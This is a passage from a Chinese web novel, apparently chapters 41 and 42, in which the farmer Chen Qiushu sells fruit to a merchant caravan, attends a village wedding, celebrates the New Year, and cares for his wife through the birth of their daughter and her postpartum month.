商队明显是有有备而来,十几辆马车都带有封闭式的车厢,其中三辆还放了不少冰块。
郑杉从一辆马车上下来。“陈公子,好久不见,没想到你还有这本事”
陈秋树笑着拱手“草民见过县令大人,在下曾经读过几本农物杂书,略懂一些”
看见郑杉,陈秋树算是知道为什么会有这种大商队过来了。
金钱豹把寒瓜卖给县令大人的爹这件事早已经在长溪村传开了,他恨不得搬个凳子坐在村口讲个百八十遍。这商队正是老爷子故友的儿子。
郑杉:“无需多礼,本官今日休沐”
说完他拉过身边的一名男子,介绍道“这位是陈兴,陈行商队的领队,也是这我一个老朋友,得知你这儿可以买到寒瓜,今天一早就过来了,陈公子可带我们去看看?”
陈秋树:“二位请随我来。”
一群人浩浩荡荡来到了果园。不少听见动静的村民出来看热闹。知道县令大人过来,一个个也不敢靠得太近,不敢吵吵嚷嚷。
陈兴弯腰抱起一个瓜敲了敲,拿了随身的配刀
挖出一块瓜肉放进嘴里“不错,你尝尝”
说完切了一块递给郑杉。
郑杉“恩,爽脆甘甜,确实是好瓜”
陈兴吃了几口,抬眼看见了另一边的瓜田,问道“那是甜瓜?”
“正是。”陈秋树说完小跑过去摘了一个过来
陈兴:“这东西我见过,却是没尝过,几次来你们南边,不是在开花就是没熟,没想到这次让我遇上了”
41. 吃席
陈秋树知道这位有可能是个大主顾,不客气的开始推销起果园。
“我这除了寒瓜和甜瓜,那还有苹果,桃,李子,柿子,还有一园子刚好成熟的葡萄,价格实惠,陈东家若是想来玩便可随时来,想吃多少便吃多少。”
陈兴还没说话,郑杉先爽朗的笑了两声“我就喜欢陈兄弟这种爽快之人”
……
找了两个村民帮忙,加上陈兴带了十几个人,一上午把十两马车装满,寒瓜香瓜耐得住放,三辆有冰块的马车用来装了三车葡萄。
陈兴过来把钱给陈秋树,一共三十两银子,十两一定,三定拿在手里沉垫垫的。
陈兴:“我看你这园子还空着一半,想必是要种个果园出来,明年这个时候我还过来”
陈秋树当然非常欢迎,说道“随时恭候”
一行马车渐行渐远,他才看向自己的瓜田,这会儿除去一些没成熟的,只稀稀拉拉剩下一些歪瓜裂枣。
村子里没有买到瓜的,看见这样的场景,顿时急了,你看看我我看看你。
“这,那咱们怎么办?”
“是啊,县城里有个姥爷家还等要呢?”
“早知道今早多买一些”
“……”
陈秋也有点不好意思,尴尬的假咳了两声。
“大家别急,地里剩下的还有两批过上几日就会成熟,到时大伙再来,”
“今日的葡萄给大伙儿一斤少二文钱,有需要的可到我家去买。”
平常一斤八文,今天只要六文,拿出去卖出一斤便可比平日多赚二文。买出二十斤便可多赚四十文。
本来因为陈秋树把瓜卖给外乡人还满心埋怨,听到这个消息,顿时高兴起来。毕竟寒瓜在是如何也已经卖完了。
今天干脆多拿些香瓜和葡萄,这两样虽说没有寒瓜受人喜爱,但也有不少人喜欢。
就在大家热火朝天卖葡萄的空挡。隔壁清河郡的的一家酒庄老板忽然来到了村子里。带走了葡萄园里的一大半葡萄。
一时间村子里的人都炸了,一个赛一个的拿得多。好在又一批寒瓜已经成熟。
吴掌柜生怕再出什么意外,预定一批寒瓜和葡萄,连定金都给了陈秋树
生意这么好,陈秋树属实没想到,但其实这也是情理之中,有迹可循。
村子里有十几个人在外面卖水果,他们有的走街串巷,有的用驴车拉着几个村叫卖,还有金钱豹这种忠于给富贵人家送货上门的。这样一来,知道的人就多了。也算是他们的功劳。
作为感谢,陈秋树把瓜田里那些长得不好看的摘了回来,拿给几人分了分,让他们带回家去去吃。
分到瓜的人都很高兴,别看他们天天卖,但那都是要本钱的,平日里除了给孩子尝尝,他们自己也舍不得多吃。
陈秋树每天在地里家里两头跑,一边照顾许橙,一边给村里人收钱让他们拿货。其实还算轻松。
这个时候不需要除草,等把瓜卖完,统一把土一翻,什么草就都晒死了,一把火烧成灰,明年还能肥土。
十月一到便要开始秋收,路边的树悄悄泛黄。今年风飘雨顺,庄稼长得好。大家提着镰刀在田地里劳作。虽然辛苦,但一年的口粮算是稳了。
村子的的大晒场,晒满了金黄的谷子,趁着几个太阳天晒干收起来,。若是天一下雨,便要凉起来。
王家的田地并不多,早早的就把粮食收回了家。去寺庙给王旭求了个成亲的良辰吉日。就在这硕果累累的秋季。
王叔借了陈秋树的马车,准备用来迎亲,高大的马头上绑上了一朵大红花,看起来格外喜庆。
陈秋树和许橙一大早就去帮忙,石头明年要准备下场考童生。天天忙着他的课业,。今天也难得空出时间过来玩。
陈秋树也不拘着他,孩子就该有个孩子样,该玩就得玩。
他今天主要事务就是收礼金,谁家送了几个鸡蛋,几斤米,几文钱,都要写清楚,将来可都是要还回去的。
许橙着和着一群婶儿们在屋檐下摘菜,聊天。
吃过早饭,王旭穿着一身大红色的喜服。看起来多了些和平日不一样的彬彬有礼。
这让陈秋树想起自己成亲的场景。抬手轻轻的揽着许橙的肩膀,如今他都要当爹了。
王家是外来户,在平阳县没有亲戚,以前他家穷,村里人也就不怎么走动。就怕那天关系亲近了,借钱借到自家头上里。
这两年他家慢慢好起来,在村子里也不比谁家差。没了借钱的顾虑,大家关系慢慢活络起来。
今天他家办喜事,村里不少妇人来帮忙,跟着热闹热闹。
迎亲队伍离开,大伙也没散去,搬凳子,拿瓜子。坐在院子里话家常。
一大娘瓜子磕不停,和许橙搭话:“哎,橙姐儿,你这肚子有六个月了吧?,也不知道是男孩女孩,你俩家里没个大人,孩子衣服还要早早准备好”
许橙挨着王婶坐在一起,听到这话笑着回应“婶子费心,已经准备好了”
她在家里没事也会给孩子缝些小衣服,陈秋树怕她太累,到成衣铺买了好几套衣裤和小被子,木匠那里的摇篮等做好了就会送过来。
那大娘又笑着说“那就好,就怕你们这些小夫妻,着急忙慌给忘了。”
许橙,“不着急还有四个月呢?”
说着说着,又聊到了王旭身上,当初旭哥儿又廋又小,转眼这才几年,成了个大小伙子不说,这就成亲了,怕不是过个一年半载的,王家就要添个新丁。
大家你一言我一语的说着吉祥话,听得王婶儿合不拢嘴。眼看要到了吉时。才开始忙碌收拾起饭菜。
天边彩霞红透半个天空,照印得整个村子就像一副美丽的画卷。
门口传来噼里啪啦一声响,新郎官接新娘回来了。一群小孩子率先迎了上去。
新人拜过天地,饭菜端上桌,宴席按照村里的样式摆了六荤四素。王旭有点兴奋过了头,喝了不少酒,不过也是,娶了自己新爱的姑娘,换谁谁不兴奋。
陈秋树见他已经开始有些上脸,敬酒敬到这一桌时,便提醒他悠着点,今晚还有
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大事要干,别到时候喝得烂醉如泥不省人事。可别让人新媳妇大半夜的还要照顾一个醉鬼。
“……”
吃了饭两人就回去了,许橙怀着孕,也没人让她留收拾碗筷。
————
天气一冷,地的的瓜就长不大,巴掌大一个,陈秋树挑着捡了一箩筐,也不拿去卖,给关系好的几家邻居各送了一袋。
地里的瓜藤让村子里的人家割回去喂牲口。
宋老二今年在陈秋树这里干活,攒下了十几两银子,本以为寒瓜卖完估计就没事儿做了。打算歇几日就去码头找点活干,年前把债还完。好给三个孩子置办三套新衣服。
没成想歇了还没有三天,陈秋树就上门来问他愿不愿去剪枝。
当然要去,陈家的事情可比码头的干着轻松多了。而且工钱也给得高。
陈秋树带着他到地里教了一遍,宋老二学得认真,很快就自己上手。
虽然果子已经卖完,但是年前仍然还有不少事情要做,所有的果树苗都要修枝,光是这件事情就要不少时间。
更别说他还要再扦插一批葡萄,把地里果树今年新发的枝丫分栽出来。可有得忙。
十一月中旬,秋风咧咧,绿色的百香果已经变成金黄色。
听说陈家有新果子成熟的人,已经从家里跑了过来,这东西没人见过,陈秋树摘了几个给他们尝了尝。
几人被酸的得口水泛滥,砸吧着嘴说,“这是什么,怎么这么酸?”
陈秋树拿了一个在鼻间嗅嗅。
“这果子本就味酸,但香味扑鼻,名叫百香果,可以和蜂蜜或者糖一起泡水喝,美容养颜”。
许橙用蜂蜜泡了一壶水,这会拿杯子一人分了一杯。
“确实很香”
常越今天也过来了,喝了一杯,觉得不错,放在他们酒楼里应当好卖。
直接买了两筐今天就拉回去。
其余人见他如此爽快也纷纷下手,多的买个一筐两筐。少的买个半框一袋。
反正已经到年底,卖不出去留着当年货,年三十放点糖一人泡上一杯。尝尝滋味。
百香果种得并不多,半个月就陆陆续续卖完,
也迎来了冬天的第一场大雪,陈秋树在下雪之前就请了村里有牛的几户人家帮忙把地都翻了过冬。
今年的雪特别大,就像他初到这里的那一年,屋外漫天飞雪,入眼皆是雪白一片。村里只有不知冷的孩子在屋外玩冰溜子。
陈秋树屋子里放了几个炭盆,只留了一扇背风的窗户开着,倒是不怎么冷,许橙怀孕已有八个月,这段时间她腿脚有些浮肿,都不怎么出门,大夫说这是孕期的正常反应,无需担忧。
陈秋树只能每晚打热水多给她泡一泡,再按摩按摩。这样至少能舒服些。
这会还没到晚上,三个人在一间屋子里,自己做自己的事。许橙在给孩子绣肚兜,有虎头的,兰花的好几个样式都是夫妻俩挑选出来的花样子。
石头在书桌上练字,他的字是写得越来越好,初见风骨雏形。
42. 孩子
陈秋树也拿了张纸在旁边开始写过年要采买的东西。
边写边时不时抬头问两句,“年夜饭要不要做一道东坡肉?,肉炖烂些,入口即化”
许橙“好,我爱吃瘦肉多的,放点糖,做甜口的”
石头“我想吃酒酿圆子”
陈秋树自是无一不应,冬天多做点也不会放坏。
雪一停,县城就热闹起来,卖窗花对年的铺子一家挨着一家,满街的点心糖果。瓜子花生。
他拿着单子一样一样买,拿不动了就让石头先搬回马车。
后半年许橙没出来玩过几次,陈秋树看见什么新鲜东西都想要带一份回去,好叫她也看看这满街的热闹。
一直到腊月二十九,城里才冷清下来,但过不了两天,这又会是另一番的锣鼓喧天。
村里家家户户都开始洗洗刷刷,传说这一天人人都要干满三十件事。来年才能顺顺利利
家里的衣服被褥,锅碗瓢盆,犄角旮旯都要仔细拖洗一遍。
陈家宅子比较大,王婶拖家带口的来帮着干了大半天才收拾干净。
年三十早早就起来准备年夜饭,该泡的泡该切的切,等到了下午对年一贴,鞭炮噼啪一响,就开始吃年夜饭。
陈家摆了十二道菜,满满一桌子,三个人吃也吃不过来,,陈秋树给石头和许橙一个一个红包。
“新年快乐,来年健康平安”。三个杯子碰在一起,发出清亮的响声。
他们家没有亲戚可以走年初一去王婶家吃了顿饭,给两个小孩封了红包。
王家也没有亲戚,年初二就带着孩子去县城里玩,石头和着一起去了。
许橙身子不方便出门,两人就在家里玩了儿,陈秋树拿出他自制的烧烤架,在院子里考起了烧烤。
过年买的羊肉,猪肉,鱼,,一样考了好几份,特别是羊肉,他特意托常越买回来的。
估计是没有饲料的原因,肉质特别好,没有一点儿腥膻味,入口就是醇厚的肉香。
他用削尖的木棍串了十来串,撒上辣椒粉和小茴香,香味一下子就出来了。
锅里还用羊腿骨炖了一锅羊肉汤,陈秋树给许橙呈了一碗汤,又把考好的肉串给她吃。
虽然没能去县城里玩玩,许橙依旧觉得这个年很有意思,她喝着肉汤,吃着烤串,太阳照进院子,温暖如春。
“这烤羊肉真好吃,你尝尝?”
陈秋树手里不得空。歪这脑袋就着尝了一口。“好吃,我再给你考些蔬菜,”。冬天菜不多,陈秋树考了几串大白菜,和考红薯。
许橙一边吃一边看他考“多考一些,夜里石头回来,给他也尝尝,还有王婶和小妮。”
“好,东西家里都有,你要是喜欢吃,我们可以经常做。”
许橙“恩……”
天黑王婶一群人才从县城回来,今晚在陈家吃饭,陈秋树把中午的烤串热了一下,另做了几个新菜,大家热热闹闹的吃了晚饭。
王冬冬王小姐姐给许橙带了小礼物,两朵头花,,一包桃酥,。
石头给带了个簪子,一根发带,还有一个刻着锦鲤的拨浪鼓。
陈秋树摸摸他的头,平日里给小孩钱,他也不肯多要,除了必须的笔墨纸砚,手里没有两个子,
今早陈秋树准备给他一两银子,他没要,身上便只有那一百个铜板的红包。买些吃的肯定是够花。
但要买这三样东西定是远远不够的!不说那根银簪子了,绣着云纹的发带和精雕细琢的拨浪鼓也要个小一两
他爹娘留下的钱一直舍不得花看,怕花了就没了,这是爹娘唯一留下的念想,这次只怕是花了三两银子。
陈秋树自是不会说还给他这种话,他一直把江无虞当亲弟弟看待,谁会拒绝自家亲人的关心呢?
……
年很快就过完,大家又恢复了往常的忙碌。。陈秋树开始紧张焦虑起来。
除了育苗,地里的活计全全交给了宋老二和张全。
他每天在家里陪着许橙,古代医疗不发达,有些意外他不敢去想。只得更加小心点把人照顾好。
许橙身上没长很多肉,吃下去的全长肚子上了,人瘦,所以就显得肚子非常大,站起来弯腰都看不见自己的脚尖。使得行动上多有不便。
她心里是不慌的,村里的女人谁不走这一遭。
但见陈秋树宛若惊弓之鸟,夜里有点风吹草动就会醒来,急得嘴上都长了燎泡。
只得安慰到“别紧张,张婶是咱们这出来名的稳婆婆,不会有事的。”
“再说不是还请了县城的大夫,放心好了,嗯~”
陈秋树扶着她在院子里慢慢走,大夫说多走动有助于生产。,轻轻拍了拍许橙的手,勉强扯出个笑脸。
。
二月一日这天,两日照常吃了饭就围着屋子绕圈儿,
期间王婶还过了看了看,送了一些蔬菜过来。
许橙有种预感,估计就是这前后两天了,不免开始有些紧张,刚才围着屋子绕两圈,感觉肚子一阵阵发紧下坠。让陈秋树扶着坐在瑶椅上躺了一会,才觉得舒服些。
她没生过孩子,具体情况不是很清楚,直到下午肚子开始感觉到阵疼,她才松了口气,总算来了。
陈秋树急得从屋里到院子来回跑了两圈才去后院找稳婆。
石头今日休沐,看着自己的大哥不太中用,一个人赶着马车去县城接大夫,这是提前就和医馆说好了。石头到了医馆,说了去长溪村的陈家,大夫就提着药箱跟着走了。
陈秋树被关在产房外,稳婆告诉他还早着呢,只得到厨房去烧水,火光照亮了他的脸庞,竟是渗出了密密麻麻的冷汗。
傍晚十分,紧闭的屋内传出了细碎的呼痛声。
一盆盆血水从屋子里端了出来。陈秋树麻木的站门口一动不动有人出来就问上一句,里面还好吗?
不知道时间过了多久,久到陈秋树感觉自己的灵魂都要被无边无际的担忧给抽干。
夜晚来临,陈家点起了灯笼,,一声婴孩的蹄哭声响起,
陈秋树没动,等了片刻,王婶出来,叫陈秋树进屋,
屋子里充斥着淡淡的血腥味。
王婶抱着孩子走过来,小心的把孩子放进陈秋树怀里,“看看,是个小姑娘,长得真白净”
陈秋树接过孩子,双手抱着走到许橙的床前,许橙已经累得睡了过去,汗湿的头发贴着脸颊
他心疼的抚了抚许橙的脸上的发丝,流了那么多血,陈秋树只感觉床上的人苍白又脆弱。
他把孩子和许橙放着一起,,附身亲了亲许橙的额头,又亲了亲孩子身上的被单。
已是到了深夜,陈秋树给过来帮忙的人都封了个大红包,后留下稳婆和大夫在后院的厢房住一晚,他没有时
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间送,晚上回去也不安全。
第二日天亮许橙醒了,陈秋树一直注意她的状态,发现她醒来,立即上前去问“怎么样?有没有哪里不舒服”
“我饿了!”
陈秋树露出个微笑,在她额头亲了一口,“厨房里熬了粥,我给你盛过来,”
许橙除了下半个身有点不适,没有感觉那里疼,就是饿,前胸贴后背的那种饿。
她侧着身体往床边看,瑶篮里的小家伙睡得正香,就是一个小粉团子,许橙一直看着,怎么都看不够。
没一会陈秋树就端着粥进来了“放着凉一会,我先去打盆水过来洗漱”
许橙遭了那么大的罪,陈秋树只恨不得连饭都喂她吃才好。
等许橙刷了牙,就帮着洗脸梳头,喂饭。
早饭煮了红枣粥,炖了一只老母鸡汤,抄了盘青菜。
两人正吃着,孩子哇哇的哭了起来。
许橙差点没下床去抱孩子,语气有些急,“我自己吃,你看看她是不是饿了”
陈秋树查看孩子有没有尿,又去厨房把温好的羊奶拿过来,用小汤勺,小口小口的喂给孩子喝。
洗橙看着陈秋树熟练的抱孩子喂奶,心里的幸福满溢而出,忍不住直起身来亲了陈秋树一口。
孩子吃饱了就挣着眼睛舞动手脚。没一会又睡着了?
吃了饭,许橙感觉身体恢复了力气,就靠在床头给孩子喂奶。没成想孩子吃奶的力气这么大,疼得她倒吸一口凉气,泪水直在眼框里打转。
陈秋树看她疼,忍不住开口“要不然别喂了,让她喝那头母羊奶。”
许橙只顾着怀里的孩子,闻言道“那哪有母乳好,没事儿,想来过两日就不疼了”
陈秋树没再说话,只伸手把母女俩搂在怀里。
陈秋树之前村子里买了好几只鸡和鸽子,现在又去集市买了猪蹄,鲫鱼,和杂七杂八的一些菜。
自己会做的就自己做,不会的就去让王婶教,厨艺飞快提升。
一天四顿变着花样做给许橙吃。就怕月子没坐好,会伤了身体的根本。
许橙抱着孩子在房间里哄,头发梳着一个长长的麻花辫,皮肤白里透红,气色看着就不错。
没一会陈秋树从外面回来,窸窸窣窣发出一些动静。
她把睡着的孩子放进瑶篮里,轻轻晃了几下就离开了房间。
看见陈秋树在洗昨天换下来的衣服和孩子的尿布。
“今儿月子就坐完了,我今天想烧水洗个大澡,”,这一个月她都只能用热毛巾擦擦。身上总是黏黏糊糊的。
陈秋树看了看太阳,说“我现在去烧水,你趁着太阳好的时候洗,别着凉了”
许橙看他要去烧水,急忙拉住了“真的没关系,我自己来,别人家媳妇那会这样什么都不做”
她摸了摸陈秋树树的脸,眼睛下方有明显的青色“你看你,都瘦了,去休息一下,刚好在房间里陪孩子”
陈秋树不肯去,他说“这才三十天,伤筋动骨还要一百天,何况是生一个孩子”
“再说真的不累,现在地里的事情有宋老二,我就在家照顾你,没多少事情”,
陈秋树说的是真话,地里的事情有宋老二看着,活儿都找村里人干,他不过是去转一圈看看。眼下的黑眼圈是因为夜里需要起来给孩子喂奶。睡得不好。但要叫他请人帮着带,他又不放心